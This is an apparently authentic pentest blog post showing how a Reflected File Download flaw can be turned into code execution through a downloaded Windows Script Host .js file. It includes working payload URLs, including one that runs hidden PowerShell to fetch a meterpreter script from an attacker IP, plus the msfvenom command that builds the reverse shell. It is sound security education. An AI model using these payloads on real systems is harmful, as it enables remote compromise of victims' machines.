Reflected File Download (RFD) — Windows Script Host

How to exploit RFD vulnerabilities when only Windows Script Host (.js) files can be downloaded.

hoppymalt
7 min readMay 31, 2020

During one of the latest web application pentest I came across a Reflected File Download (RFD) vulnerability. However, I found myself in a situation where the attacker wasn’t able to choose the file extension to be downloaded and executed by the victim, but could only make the victim download a .js file. What is a .js file and what can I, as an attacker, do with it?

In this article I’m going to explain how I created a .js RFD payload that will execute arbitrary commands on the computer of a victim who is tricked into visiting a vulnerable website, downloading the file and executing it.

But let’s start from the beginning as I know this is not a very well known vulnerability and not everyone is familiar with it. If you already know what RFD is and are only interested in how to create a payload for .js files, feel free to skip to the Exploitation section.

What is a Reflected File Download (RFD) vulnerability?

For me, this is a very interesting vulnerability which I enjoy finding. RFD is a vulnerability where attackers trick victims into downloading and executing a malicious file. What’s “good” about RFD is that, from the victim’s perspective, the file is not downloaded from a malicious, attacker-owned server where I ended up because I was so fool to click on the weird looking URL promising free bitcoins. No. With RFD, the file is downloaded from a legitimate, trusted but vulnerable website. For example if www.microsoft.com were vulnerable to RFD, the victim browser would be downloading a file from www.microsoft.com and I really doubt that there would be many users thinking that what they’re downloading and executing from www.microsoft.com could be malicious, even if the browser or Windows prompted some warnings. Yeah… I like the social engineering side of this vulnerability!

Anyways, I’m not going to provide an in-depth explanation of what Reflected File Download vulnerabilities are as Oren Hafif wrote a very nice whitepaper on it, which I highly recommend to read if you want to learn about RFD. I used this whitepaper as a reference in other occasions as it contains several useful information. I went back to it also this time, to see if it was saying anything specific for those cases where it is only possible to have .js files downloaded by the victim’s browser.

Unfortunately, I was only able to obtain this:

Windows script host can be used to execute operating system commands, but requires slightly higher technical skills from the attacker.

Ok... I don’t know much about Windows Script Host, but I know Google… and after some research (more than I’d like to admit) I learnt how to create a simple WSH file that executes arbitrary operating system commands.

Anyways, in a few words, the concept of the RFD vulnerability is the following:

  • the attacker sends a specially crafted URL to the victim. The URL contains the filename and the malicious content of the file that will be downloaded by the victim e.g. https://some-legitimate-site.com/some-path/;arbitrary-file-name.bat?p=whatever||calc.exe||
  • the victim clicks the link and unwittingly sends the malicious payload to the server
  • the malicious content is reflected back by the vulnerable website
  • the victim’s browser takes the response, decides that the response needs to be downloaded as a file and downloads the file
  • the file will have the name arbitrary-file-name.bat and will contain the malicious content whatever||calc.exe||
  • the victim clicks through prompts and warnings and downloads the file from the familiar some-legitimate-site.com website and executes it
  • Windows assocaites .bat files with cmd.exe, so the commands whatever and calc.exe will be executed in the victim’s command prompt

In this case the whatever command will fail and calc.exe will open the calculator application. However, it is easy to imagine what the impact could be if other commands were to replace calc.exe.

So, now that we have a basic idea of what RFD is let’s move on to how I identified and then exploited the vulnerability.

Identification

Identification in this case was pretty straightforward as I had the typical example of a json API that satisfied all the RFD requirements: Reflected, Filename, Download (again, see Oren Hafif’s whitepaper for details). Burp Suite also has a nice extension called Reflected File Download Checker, which can be useful in identifying the issue.

The URL used to identify the issue was something like:

  • https://www.vulnerable-website.com/api/some-path;/setup.bat;/setup.bat?callback=rfd\"||calc||

Where:

  • ;/setup.bat;/setup.bat is the attempt to set filename and extension of the file to download
  • rfd\”||calc|| is the string I want to be reflected back by the server and become the content of the setup.bat file

We can see from the below image that user input is reflected back in the server response.

Requirement “Reflected”: check.

Figure 1 — Input reflected in the response. Content-type: application/json

Problem was that the Content-Type returned was an “application/json” and according to the following table, this would have allowed the payload to be downloaded only on targets using IE8 and IE9…

Figure 2— Content-types downloaded by different browsers. Source: whitepaper from Oren Hafif

Is it still a vulnerability that needs to be reported? Of course. But was it a finding with an actual impact? Eeh..

Not too happy about the finding, I tried the simple calculator payload in Figure 1 against IE8 on Windows 7. You know… just to take the screenshot and move on. But the target website was… not compatible with IE8 and was not even loading. I didn’t have a IE9 ready for use so just tried it with IE11 on my testing machine and… surprise! A file got downloaded!

Requirement “Download”: check.

However, even though I was trying to set the extension to .bat I was only able to download a setup.js file which would fail to execute any cmd.exe command.

Figure 3 — File downloaded but with .js extension

This was the error message received when trying to run the file setup.js:

Figure 4— Error message shown to victim when executing the downloaded .js file containing cmd.exe commands

I went back to Oren Hafif’s whitepaper and found this:

Figure 5 — Internet Explorer and .js files download with certain Content-Types

Ok, this still looks promising.

We have Reflected input, we can have users Download the response in a file, we can set the Filename but not the extension, but the extension still allows command execution.

Requirement “Filename”: check.

Let’s see how we can turn this into a shell for us.

Exploitation

As I previously said, I started googling, duckduckgoing, bin… no, just joking. Anyways, I first learned how to echo a string and tried a simple payload such as:

  • https://www.vulnerable-website.com/api/some-path;/setup.bat;/setup.bat?callback=WSH.Echo('Hello World’);
Figure 6— Hello World!

Ok, we got the syntax right. I got a nice greeting Windows prompt.

Let’s add some command execution.

I learned that to run commands in WSH, one of the options (not sure if there are any others) is to:

  1. Create a WScript.Shell object
  2. Use the Run function of the newly created Shell object to run a command

Example:

var command = "calc.exe";
var WshShell = WScript.CreateObject("WScript.Shell");
WshShell.Run(command);

Putting it all together in our payload:

Figure 6 — Hello Calc.exe!

Great! Now the only thing left was to change the command to something more evil…

One of my favourites on Windows environments is to use PowerShell to download a script (e.g. a reverse shell) and execute it in memory. So my final payload became something similar to:

  • https://www.vulnerable-website.com/api/some-path;/setup.bat;/setup.bat?callback=WSH.Echo('Hello World’);var command = “powershell -ep bypass -NoExit -w hidden IEX (New-Object System.Net.Webclient).DownloadString(‘http://192.168.100.141:8080/met_rev_64.txt')”;var WshShell = WScript.CreateObject(“WScript.Shell”);WshShell.Run(command);

Where “met_rev_64.txt” was a meterpreter payload generated by:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.100.141 LPORT=4444 -f psh -o met_rev_64.txt

Put the victim hat on, visited the link, downloaded the file, executed it and…

Figure 7 — We got a shell!

Mitigations

I’d just be repeating what’s already written in Oren Hafif’s whitepaper, so go read it already!

References

--

--

hoppymalt

Penetration Tester | Web Applications Tester | Infrastructure Tester | Enjoys Phishing | OSCP | Trying to share the little I know